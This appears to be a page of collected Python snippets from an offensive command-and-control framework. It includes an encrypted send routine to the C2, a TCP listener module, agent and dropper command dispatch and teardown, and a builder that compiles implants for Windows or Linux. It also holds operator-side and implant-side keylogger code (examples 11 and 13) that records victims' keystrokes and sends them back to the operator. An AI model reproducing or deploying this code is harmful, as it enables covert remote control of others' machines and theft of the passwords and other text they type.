示例#1
0
    def send(self, message, debug=False):
        """Send string to C2, automatically encrypts the data and manages
        conversion of the data to bytes & b64encoded objects before sending."""

        if not message:
            bc.info("No mesasge to send. not sending.")
            return
        try:
            if debug:
                bc.info("Sending {} to {}.".format(message, str(self.name)))
            enc = self.encrypt(message)
            if enc:
                if debug:
                    print("Message - {} IV : {}".format(message, enc[0]))
                    bc.info("Message length : {}".format(len(b''.join(enc))))
                message = b':' + b':'.join(
                    [b64encode(i)
                     for i in enc]) + b':'  #colon IV colon message, colon
                if message:
                    self.s.sendall(message)  #Sendall instead
            else:
                bc.err("Encryption failed in repl function.")
        except BrokenPipeError as e:
            bc.err("Agent {} not responding. Terminating".format(self.name))
            self.terminate()
            bc.warn("Terminate failed, falling back on emergency method.")
            raise Exception("Agent {} dead.".format(self.name))
        except Exception as e:
            bc.err("Failed to send message: {}".format(e))
示例#2
0
 def run(self):
     """The main function called when the module executes"""
     #Override with what to do with this class when it runs
     exit_on_exec, LHOST, LPORT, max_conns, LOOT_DIR, name, RSA = [
         i['value'] for i in self.options.values()
     ]
     l = lnr.BSTCPListener(
         exit_on_exec, LHOST, LPORT, max_conns, LOOT_DIR, name,
         RSA)  #TODO - put listener resources in the right place!
     l.start()
     time.sleep(1.5)  #Wait for thread to start
     if l.success == True:
         self.root_menu.listeners.append(l)
         bc.success("Module executed.")
     else:
         bc.err(
             "Run, but success flag not set. Check your listener status!")
         try:
             self.root_menu.listeners.append(l)
         except Exception as e:
             bc.warn("Could not register listener.")
     if self.get_option(
             'exit_on_exec'
     ) and l.success:  #Add success criteria - we want to stay in if fail
         return True
     else:
         #Also - increment listener ID so we can crank out many more!!
         self.set_option(
             'name',
             "listener-{}".format(len(self.root_menu.listeners) + 1))
         return False
示例#3
0
    def do_command(self):
        """parse command string and call any agent methods, before Sending
        any relvant commands down to the dropper itself"""

        #Manage Send
        if self.command == "":
            pass
        else:
            cmd = "".join(self.command.split(" ")[:1])
            args = ' '.join(self.command.split(" ")[1:])
            try:
                #bc.info("Calling {} : {}".format(cmd, args))
                caller = getattr(self, cmd)
                #print("made a caller : {}".format(caller))
                if args:
                    #print("Calling {} with args {}".format(caller, ' '.join(args)))
                    #caller(' '.join(args))
                    caller(args)
                else:
                    #print("calling no args")
                    caller()
            except ValueError as e:
                bc.warn("Value error, missing arguments? {} : {} \n{}".format(
                        cmd, args, e))
            except Exception as e:
                #print("Exception - default : {}".format(e))
                resp = self.default()
示例#4
0
    def do_shell(self, line):
        """Execute a local shell command direct in the BS prompt.
                Can be called with an exclamation point (!)."""

        blacklist = ['cd', 'pushd', 'popd']
        for cmd in blacklist:
            if line.startswith(cmd):
                bc.warn(
                    "Command {} not run. Can't change local dir from BShell.".
                    format(line))
        print(os.popen(line).read())
示例#5
0
 def do_kill(self, line):
     """OVerridden kill method, acting only on listeners in this context"""
     if not line:
         input_str = bc.warn_format("[!]", " Do you want to kill all listeners? [Y/n]:")
         if input(input_str.format(line)).lower() not in ['y', 'yes', 'ye']:
             return
     for l in self.root_menu.listeners:
         if line in l.name:
             l.terminate()
         #It's not our listener
         else:
             bc.warn("Listener not found, not terminating.")
示例#6
0
    def do_kill(self, line):
        """Overridden version of the base kill function, this version
        only kills agents since we're in the agent menu now."""

        if not line or line == "*":
            input_str = bc.warn_format(
                "[!]", " Do you want to kill all agents? [Y/n]:")
            if input(input_str.format(line)).lower() not in ['y', 'yes', 'ye']:
                return
        for l in self.root_menu.listeners:
            for a in l.agent_list:
                if line in a.name:
                    l.terminate_agent(a)
                #It's not our listener
                else:
                    bc.warn("Agent not found, not terminating.")
示例#7
0
    def terminate_agent(self, agent):
        """Kill an individual agent"""

        #print("in terminate agent")
        agt = [a for a in self.agent_list if a.name == agent.name]
        #print("Agents : {}".format(agt))
        if len(agt) < 1:
            bc.warn("Agent : {} not found, can't terminate.".format(agent))
        else:
            for a in agt:
                #a.send_q.put('terminate')
                a.kill_flag.set()
                #print("I set it!")
                agent.join(self.terminate_timeout)
                if agent.is_alive() == 1:
                    bc.err("Could not terminate_agent: {}, continuing.".format(agent.name))
                del(a)
示例#8
0
    def terminate(self):
        """Kill self and all agents"""

        #Free up the queue
        for agent in self.agent_list:
            #self.send_q.put('terminate')
            agent.kill_flag.set()
        for agent in self.agent_list:
            #agent.send_q.put('terminate')
            agent.join(self.terminate_timeout)
            if agent.is_alive() == 1:
                bc.err_print("[!] ", "- Could not elegantly kill Agent: {}, continuing.".format(agent.name))
                bc.warn("Trying emergency kill method.")
                agent._emergency_raise()
        self.terminated = True
        time.sleep(0.3)
        self.kill_flag.set()
示例#9
0
    def set_option(self, opt, val):
        """Set option method overridden to allow special actions for
        the listener, pyinstaller and py2exe options"""

        if opt == 'listener':
            l = None
            for l in self.root_menu.listeners:
                if l.name == val:
                    lnr = l
            if not l:
                return False
            self.options['LHOST']['value'] = lnr.LHOST
            self.options['LPORT']['value'] = lnr.LPORT
        if opt == 'py2exe':
            bc.warn("Py2exe is not currently supported, fixes coming soon.")
            self.options['pyinstaller']['value'] = 'False'
        if opt == 'pyinstaller':
            self.options['py2exe']['value'] = 'False'
        return super().set_option(opt,val)
示例#10
0
    def do_kill(self, line):
        """Kill agents and/or listeners by name"""

        if not line or line == "*":
            input_str = bc.warn_format(
                "[!]", " Do you want to kill all agents and listeners? [Y/n]:")
            if input(input_str.format(line)).lower() not in ['y', 'yes', 'ye']:
                return
        for l in self.root_menu.listeners:
            for a in l.agent_list:
                if line in l.name:
                    bc.info("killing : {}".format(l.name))
                    #l.terminate()
                    l.send_q.put('terminate')
                elif line in a.name:
                    #l.terminate_agent(a)
                    bc.info("killing : {}".format(a.name))
                    l.send_q.put('terminate_agent {}'.format(a.name))
                #It's not our listener
                else:
                    bc.warn("{} not found, not terminating.".format(line))
示例#11
0
def main(agent, args=None):
    """Main function to start, stop and interact with key logging threads"""

    try:
        #get settings
        #bc.info("gitting the settings now: {}".format(args))
        settings = parse_args(agent, args)
        if not settings:
            bc.warn("Error parsing arguments, settings : {}".format(settings))
            return
        #Check Settings
        if settings['show'] and not settings['dump']:
            bc.warn("Cannot show keylog dump without --dump (-d) command")
            return
        if settings['dump'] and (settings['start'] or settings['kill']):
            bc.warn("Cannot dump alongside start/stop operations.")
            return
        #Get the agent to do the thing
        agent.send('keylog ' + str(args))

        if settings['dump']:
            if get_keylog_dump(agent, settings['show']):
                agent.recv(print_flag=True, blocking=True)
            else:
                #Warning already printed
                bc.err("Failed dump, getting message from implant")
                agent.recv(print_flag=True, blocking=True)
                return
        else:
            agent.recv(print_flag=True)
    except Exception as e:
        bc.err("Exception in agent {} keylogger : {}".format(agent.name, e))
示例#12
0
    def do_method(self):
        """Interpret commands and call methods as required"""

        #Manage Send
        if self.command == "":  #Better safe, it's a nightmare when this isn't here
            pass
        else:
            cmd = "".join(self.command.split(" ")[:1])
            args = ' '.join(self.command.split(" ")[1:])
            try:
                #bc.info("{} calling {}".format(self.name, cmd))
                caller = getattr(self, cmd)
                #print("made a caller : {}".format(caller))
                if args:
                    #print("Calling {} with args {}".format(caller, args))
                    #caller(' '.join(args))
                    caller(args)
                else:
                    #print("calling no args")
                    caller()
            except ValueError as e:
                bc.warn("Exception, may be Missing arguments {} : {} \n{}".format(cmd, args, e))
            except Exception as e:
                print("Exception calling Lnr method, is it real? : {}".format(e))
示例#13
0
def main(dropper, args=None):
    """start, stop, kill, clear and dump key logger and associated data"""

    #Get settings
    settings = parse_args(dropper, args)
    if not settings:
        bc.err("Error parsing args : {}".format(settings))
        return
    #Settings check
    if settings['start'] and settings['kill']:
        bc.warn("Cannot start AND kill at the same time.")
        dropper.send("ERROR - cannot start and kill simoultaneously")
        return

    #If not already created, make some dropper attributes
    try:
        print("DEBUG - Checking if required objects exist alread")
        dropper.keylogger
        dropper.log_stream
        logging.info("")
        print("DEBUG - it all exists!")
    except:
        print("DEBUG - they didn't exist...")
        dropper.keylogger = keyboard.Listener(on_press=on_press,
                                              on_release=on_release)
        dropper.log_stream = StringIO()
        logging.basicConfig(stream=dropper.log_stream,
                            level=logging.INFO,
                            format="%(message)s")

    #Start
    if settings['start'] and not dropper.keylogger.running:
        dropper.keylogger = keyboard.Listener(on_press=on_press,
                                              on_release=on_release)
        dropper.keylogger.start()
        dropper.send("Keylogger started in {}, {}".format(
            dropper.name, dropper.keylogger.running))
        return
    elif settings['start']:
        dropper.send("ERROR - Cannot start, logger already running")
        return

    #Kill
    if settings['kill'] and not dropper.keylogger.running:
        dropper.send("ERROR - Cannot stop, logger not yet running : {}".format(
            dropper.keylogger.running))
        return
    elif settings['kill']:
        print("DEBUG - Killing Keylogger")
        dropper.keylogger.stop()
        dropper.send("Keylogger stopped in {}".format(dropper.name))
        return

    #Dump
    if settings['dump']:
        print("Logged data : {}".format(dropper.log_stream.getvalue()))
        success, message = dump_keylog(dropper)
        if success:
            bc.success("Successful keylog dump!")
            dropper.send("{} : {}".format(dropper.name, message))
        else:
            bc.info("Keylog failed, sending error message.")
            dropper.send("DUMP failed : {}".format(message))
        return

    #Clear
    if settings['clear']:
        print("DEBUG - clearing")
        if dropper.keylogger.running:
            dropper.keylogger.stop()
            print("Logged data pre-clear : {}".format(
                dropper.log_stream.getvalue()))
            dropper.log_stream.truncate(
                0)  #Creating a new stringIO object iddn't seem to work
            print("Logged data post-clear: {}".format(
                dropper.log_stream.getvalue()))
            dropper.keylogger = keyboard.Listener(on_press=on_press,
                                                  on_release=on_release)
            dropper.keylogger.start()
        else:
            dropper.log_stream.truncate(0)
        dropper.send("Keylogger buffer cleared in {}".format(dropper.name))
        return

    #Else it was nothing
    dropper.send("No valid keylogger commands provided.")
    return
示例#14
0
    def setup(self):
        """Configures and tests the module, anything that sanity checks
        user input can be put in here."""

        #First configure LHOST and LPORT from listener
        try:
            self.set_option('LPORT', int(self.get_option('LPORT')))
        except:
            bc.err("LPORT invalid - must be integer. Cannot autoconvert.")
            return False
        #LHOST
        try:
            self.set_option('LHOST', str(self.get_option('LHOST')))
        except:
            bc.err("LHOST invalid - must be integer. Cannot autoconvert.")
            return False
        #Check out directory - should only need to be created once
        if not os.path.exists(self.get_option('out_dir')):
            try:
                os.makedirs(self.get_option('out_dir'))
                bc.info("Output directory created : {}".format(self.get_option('out_dir')))
            except:
                bc.err("Could not read or create out_dir : {}. Is it a valid directory?.".format
                        (self.get_option('out_dir')))
                return False
        #Setup the source dirs - different for each dropper
        self.base_dir = self.get_option('out_dir') + self.get_option('filename') + '/'
        #Check if file already exists
        test_dir = self.base_dir[:-1]
        i=1
        while True:
            if os.path.isdir(test_dir):
                new_test_dir = self.base_dir[:-1] + str(i)
                i+=1
                bc.warn("{} already exists, trying to place in {}".format(test_dir, new_test_dir))
                test_dir = new_test_dir
            else:
                break
        self.base_dir = test_dir + '/'
        self.src_dir = self.base_dir + self.src_dir
        self.bin_dir = self.base_dir + self.bin_dir
        #Now make the dirs
        for d in [self.base_dir, self.src_dir, self.bin_dir]:
            if not os.path.isdir(d):
                os.makedirs(d)
                bc.info("Created : {}".format(d))
        #Check boolean settings
        if not self.check_bool('py2exe'):
            return False
        if not self.check_bool('py2exe'):
            return False
        if not self.check_bool('exit_on_exec'):
            return False
        if (self.get_option('py2exe') and self.get_option('pyinstaller'))\
                or ((not self.get_option('py2exe')) and (not self.get_option('pyinstaller'))):
            bc.warn("You must pick either py2exe or pyinstaller\n py2exe : {} Pyinstaller: {}".format(
                    self.get_option('py2exe'), self.get_option('pyinstaller')))
            return False

        #Check platform
        if self.get_option('platform').lower() not in [ 'windows', 'linux']:
            bc.warn("Platform {} invalid. Pick 'linux' or 'windows'.".format(
                    self.get_option('platform')))
            return False

        return True